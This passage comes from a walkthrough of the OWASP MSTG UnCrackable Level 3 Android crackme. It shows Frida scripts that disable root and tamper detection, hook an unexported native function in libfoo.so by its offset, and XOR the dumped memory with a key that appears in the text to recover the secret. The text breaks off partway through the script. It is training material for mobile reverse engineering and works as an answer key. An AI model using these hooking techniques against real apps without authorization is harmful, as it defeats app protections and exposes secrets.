Memory.writeUtf8String(buffer, "ByeByeFrida:\t0"); } return retval; }, 'pointer', ['pointer', 'int', 'pointer'])); console.log("[*] Root and tampering detection removed, you can safely click OK"); } ``` At this point we can run our application using the following command: ```bash frida -U -l hook.js -f owasp.mstg.uncrackable3 --no-pause ``` where `hook.js` will call the function `rootAndTamperingDetectionBypass()` at execution time, preventing the app to crash. ![](/files/-Mct9WFXXVUfo55f5RCO) ### **Exploit** {% hint style="success" %} **Now it's time to extract the secret** {% endhint %} To extract the secret we are going to use Frida, but with a slightly different approach than in the previous challenges. Looking at the flow, we can see that the function `Java_sg_vantagepoint_uncrackable2_CodeCheck_bar` on line 24, uses another function that we call `FUN_00010fa0`, that is used to load the secrets in memory, but unfortunately is not exported and therefore we cannot directly hook it. This function is quite complex, but we know, that once executed, the secret will be loaded in memory. So how do we extract the secret? First of all, we need to find a way to hook into this function. We are going to use a different method, that will calculate the base address of the `libfoo.so` library and the offset of the function. ![](/files/-Mct9acxri9q_Hy0d93t) From Ghidra we can see the offset of the function being mentioned in the name. Again, we are using an x86 device and therefore using the x86 version of the library. In case an ARM device is used, the offset and the instruction will be different. The offset of the function is `0xFA0`. Let's see how we can hook it. These are the steps to extract the secret: 1. Calculate the base address of `libfoo.so` using `Module.findBaseAddress('libfoo.so')` 2. Add the offset to the base address to get to the function using `base_address.add(0xFA0)` 3. Get the buffer `onEnter` 4. Get the first 24 bytes `onLeave` 5. XOR each byte of the secret with each byte of the well known XOR key We introduced a timeout to make sure that the library `libfoo.so` is loaded when calling the function ```javascript function extractSecret(){ setTimeout(function(){ var base_address = Module.findBaseAddress('libfoo.so') var extract_secret_function = base_address.add(0xFA0) Interceptor.attach(extract_secret_function,{ onEnter(args) { console.log('Base address libfoo.so: ' + base_address) console.log('Base address secret_function: ' + extract_secret_function) console.log('Reading buffer args[0]') this.buf = args[0] console.log('Buffer reading completed') }, onLeave(result) { console.log('---------------------') var numBytes = 24 var buff = Memory.readByteArray(this.buf,numBytes) console.log('[*] Secret key hexdump') console.log('---------------------') console.log(hexdump(buff, { length: numBytes, ansi: true })); var secret_key = new Uint8Array(buff) var str = ""; for(var i = 0; i < secret_key.length; i++) { str += (secret_key[i].toString(16) + " "); } console.log('---------------------') console.log('[*] Secret key ') console.log('---------------------') console.log(secret_key) console.log('---------------------') console.log('[*] XOR key ') console.log('---------------------') var xor_key = 'pizzapizzapizzapizzapizz'; console.log(xor_key); console.log('---------------------') console.log('[*] Plaintext secret') console.log('---------------------') var secret = [] for (var i =0;i